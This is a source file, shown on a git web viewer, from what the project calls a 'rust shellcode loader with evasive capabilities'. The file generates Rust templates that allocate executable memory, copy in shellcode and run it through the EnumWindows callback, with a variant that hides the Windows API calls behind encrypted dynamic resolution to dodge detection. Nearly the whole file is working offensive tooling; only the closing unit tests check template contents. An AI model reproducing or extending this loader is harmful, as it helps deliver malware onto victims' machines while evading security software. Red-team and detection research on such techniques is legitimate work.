myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
enum_windows.rs (5699B)
1 pub fn enum_windows_import() -> String { 2 r#" 3 use std::ptr; 4 "# 5 .to_string() 6 } 7 8 pub fn enum_windows_const() -> String { 9 r#" 10 const MEM_COMMIT: u32 = 0x1000; 11 const MEM_RESERVE: u32 = 0x2000; 12 const PAGE_EXECUTE_READWRITE: u32 = 0x40; 13 14 #[link(name = "user32")] 15 extern "system" { 16 fn EnumWindows( 17 callback: *const std::ffi::c_void, 18 lparam: isize, 19 ) -> i32; 20 } 21 22 #[link(name = "ntdll")] 23 extern "system" { 24 fn RtlCopyMemory( 25 destination: *mut std::ffi::c_void, 26 source: *const std::ffi::c_void, 27 length: usize, 28 ); 29 } 30 "# 31 .to_string() 32 } 33 34 pub fn enum_windows_init() -> String { 35 String::new() 36 } 37 38 pub fn enum_windows_process() -> String { 39 r#" 40 unsafe { 41 let addr = VirtualAlloc( 42 ptr::null_mut(), 43 shellcode.len(), 44 MEM_COMMIT | MEM_RESERVE, 45 PAGE_EXECUTE_READWRITE, 46 ); 47 48 if addr.is_null() { 49 panic!("failed"); 50 } 51 52 RtlCopyMemory( 53 addr, 54 shellcode.as_ptr() as *const std::ffi::c_void, 55 shellcode.len(), 56 ); 57 58 let result = EnumWindows(addr, 0); 59 60 if result == 0 { 61 panic!("failed"); 62 } 63 } 64 "# 65 .to_string() 66 } 67 68 fn generate_enum_windows_template(function_name: &str) -> String { 69 super::common::TechniqueTemplateBuilder::new() 70 .with_import(enum_windows_import()) 71 .with_const(enum_windows_const()) 72 .with_init(enum_windows_init()) 73 .with_process(enum_windows_process()) 74 .build(function_name) 75 } 76 77 pub fn generate_enum_windows_code(function_name: &str) -> String { 78 generate_enum_windows_template(function_name) 79 } 80 81 fn enum_windows_process_with_dynamic_resolver( 82 encryptor: &dyn crate::encryption::Encryptor, 83 ) -> Result<String, String> { 84 use super::dynamic_common::*; 85 86 let virtual_alloc = virtual_alloc_resolver(encryptor)?; 87 let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?; 88 let enum_windows = enum_windows_resolver(encryptor)?; 89 90 Ok(format!( 91 r#" 92 unsafe {{ 93 {virtual_alloc_resolver} 94 {virtual_alloc_cast} 95 96 let addr = virtual_alloc( 97 ptr::null(), 98 shellcode.len(), 99 MEM_COMMIT | MEM_RESERVE, 100 PAGE_EXECUTE_READWRITE, 101 ); 102 103 if addr.is_null() {{ 104 panic!("failed"); 105 }} 106 107 {rtl_copy_memory_resolver} 108 {rtl_copy_memory_cast} 109 110 rtl_copy_memory( 111 addr, 112 shellcode.as_ptr() as *const std::ffi::c_void, 113 shellcode.len(), 114 ); 115 116 {enum_windows_resolver} 117 {enum_windows_cast} 118 119 let result = enum_windows(addr, 0); 120 121 if result == 0 {{ 122 panic!("failed"); 123 }} 124 }} 125 "#, 126 virtual_alloc_resolver = virtual_alloc.resolver_code, 127 virtual_alloc_cast = virtual_alloc.cast_code, 128 rtl_copy_memory_resolver = rtl_copy_memory.resolver_code, 129 rtl_copy_memory_cast = rtl_copy_memory.cast_code, 130 enum_windows_resolver = enum_windows.resolver_code, 131 enum_windows_cast = enum_windows.cast_code, 132 )) 133 } 134 135 fn generate_enum_windows_template_with_dynamic_resolver( 136 function_name: &str, 137 _encryption_type: &str, 138 encryptor: &dyn crate::encryption::Encryptor, 139 ) -> Result<String, String> { 140 let process_code = enum_windows_process_with_dynamic_resolver(encryptor)?; 141 142 Ok(super::common::TechniqueTemplateBuilder::new() 143 .with_import(enum_windows_import()) 144 .with_const(enum_windows_const()) 145 .with_init(enum_windows_init()) 146 .with_process(process_code) 147 .build(function_name)) 148 } 149 150 pub fn generate_enum_windows_code_with_dynamic_resolver( 151 function_name: &str, 152 encryption_type: &str, 153 encryptor: &dyn crate::encryption::Encryptor, 154 ) -> String { 155 generate_enum_windows_template_with_dynamic_resolver(function_name, encryption_type, encryptor) 156 .unwrap_or_else(|err| { 157 panic!( 158 "Failed to generate EnumWindows code with dynamic resolver (encryption: {}): {}", 159 encryption_type, err 160 ) 161 }) 162 } 163 164 pub struct EnumWindowsGenerator; 165 166 impl super::trait_generator::TechniqueGenerator for EnumWindowsGenerator { 167 fn generate_code(&self, _process: &str, function_name: &str) -> String { 168 generate_enum_windows_code(function_name) 169 } 170 171 fn generate_code_with_dynamic_resolver( 172 &self, 173 _process: &str, 174 function_name: &str, 175 encryption_type: &str, 176 encryptor: &dyn crate::encryption::Encryptor, 177 ) -> String { 178 generate_enum_windows_code_with_dynamic_resolver(function_name, encryption_type, encryptor) 179 } 180 181 fn requires_process(&self) -> bool { 182 false 183 } 184 185 fn name(&self) -> &'static str { 186 "EnumWindows" 187 } 188 } 189 190 #[cfg(test)] 191 mod tests { 192 use super::*; 193 194 #[test] 195 fn test_generate_enum_windows_template_contains_all_parts() { 196 let template = generate_enum_windows_template("MyFunction"); 197 assert!(template.contains("use std::ptr")); 198 assert!(template.contains("MEM_COMMIT")); 199 assert!(template.contains("fn MyFunction")); 200 assert!(template.contains("VirtualAlloc")); 201 assert!(template.contains("EnumWindows")); 202 } 203 204 #[test] 205 fn test_generate_enum_windows_code() { 206 let code = generate_enum_windows_code("MyRandomFunc"); 207 assert!(code.contains("fn MyRandomFunc")); 208 assert!(code.contains("EnumWindows")); 209 } 210 211 #[test] 212 fn test_enum_windows_does_not_use_process_param() { 213 let code = generate_enum_windows_code("TestFunc"); 214 assert!(!code.contains("notepad.exe")); 215 } 216 }